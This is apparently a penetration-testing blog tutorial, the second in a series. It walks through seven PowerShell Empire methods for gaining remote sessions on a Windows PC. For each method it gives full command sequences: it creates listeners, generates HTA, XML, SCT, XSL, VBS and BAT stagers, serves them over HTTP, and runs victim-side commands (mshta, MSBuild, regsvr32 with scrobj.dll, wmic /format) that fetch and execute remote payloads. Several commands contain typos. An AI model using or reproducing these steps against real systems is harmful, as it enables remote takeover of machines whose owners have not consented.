Multiple Ways to Exploiting Windows PC suing PowerShell Empire

This is our second post in the article series ‘PowerShell Empire’. In this article we will cover all the exploits that leads to windows exploitation with empire. To our first post on empire series, which gives a basic guide to navigate your way through empire, click here.

Table of content:

·         Exploiting through HTA

·         Exploiting through MSBuild.exe

·         Exploiting through regsvr32

·         XSL exploit

·         Exploiting through visual basic script

·         BAT exploit

·         Multi_launcher exploit

Exploiting through HTA

This attack helps us to exploit windows through .hta. when .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click here.

To run type ‘./Empire’.

According to the work flow, firstly, we have to create a listener to listen on our local machine. Type the following command:

listeners

After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now.  So in this listener interface, type :

uselistener http

set Host http://192.168.1.107

execute

Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type :

usestager windows/hta

set Listener http

set OutFile /root/1.hta

execute

Running the above commands will create an .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file:

python -m SimpleHTTPServer 8080

As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file:

mshta.exe http:/192.168.1.107:8080/1.hta

The moment above command is executed you will have your session, to access the session type :

interact XDGM6HLE

sysinfo

Exploiting through MSBuild.exe

Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using XML file. To know in details about this attack please click here. And to use this exploit type:

listeners

uselistener http

set Host http:/192.168.1.107

execute

This creates a listener, type ‘back’ to go in listener interface to create a exploit. For this, type :

usestager windows/launcher_xml

set Listener http

execute

Now, an .xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\

MSBuild.exe launcher.xml

So, this way you will have your session, to access the said session type :

interact A8H14C7L

sysinfo

Exploiting through regsvr32

Our next method is exploiting through regsvr32. To know in detail about this attack, do click here. As always, we have to create a listener first to listen on our local machine. Type the following command:

listeners

uselistener http

set Host http://192.168.1.107

execute

Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type:

usestager windows/launcher_sct

set Listener http

execute

This will create a .sct file in /tmp. Share this file to victim’s PC using python server and then run this file in run window of victims’ PC by typing the following command:

regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll

Thus, you will have an active session. To access the session type:

interact

sysinfo

Exploiting through XSL

XSL is a language will helps you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file.  For this method lets activate our listener first by typing :

listeners

uselistener http

set Host http://192.168.1.107

execute

As the listener is up and running, create your exploit :

usestager windows/launcher_xsl

set Listener http

execute

This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below :

cd /tmp

python -m SimpleHTTPServer 8080

Now execute the following command in the command prompt of your victim:

wmic process get brief /format:”http://192.168.1.107:8080/launcher.xsl”

Running above will give a session, to access the session type :

interact

sysinfo

Exploiting through Visual Basic script

Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first.

listeners

uselistener http

set Host http://192.168.1.107

execute

Now, to create our malicious .vbs file type :

usestager windows/launcher_vbs

set Listener http

execute

Next step is to start the python server by typing:

python -m SimpleHTTPServer 8080

Once the .vbs file is shared through python server and executed in the victim’s PC you will have you r session and just like before to access the session type :

interact

sysinfo

Exploiting through .bat

In this method, we will exploit through .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type:

listeners

uselistener http

set Host http://192.168.1.107

execute

back

The above commands will create a listener for you. Let’s create our .bat file using following command :

usestager windows/launcher_bat

use Listener http

set OutFile /root/1.bat

execute

As shown, the above commands will create a .bat file. Start up the python server by using following command to allow you share you .bat file on your victim’s pc.

python -m SimpleHTTPServer 8080

Once you run the .bat file, a session will activate. To access the session type:

interact

sysinfo

Multi_launcher

This is our last method of this post. It can be used on various platforms such as windows, linux, etc. again, even for this method, create a listener:

listerners

uselistener http

set Host http://192.168.1.107

execute

Then type following commands for create your malicious file:

 usestager multi/launcher

set listerner http

execute

Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type:

interact

sysinfo

Conclusion

The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pentesting skills after Metasploit. Enjoy!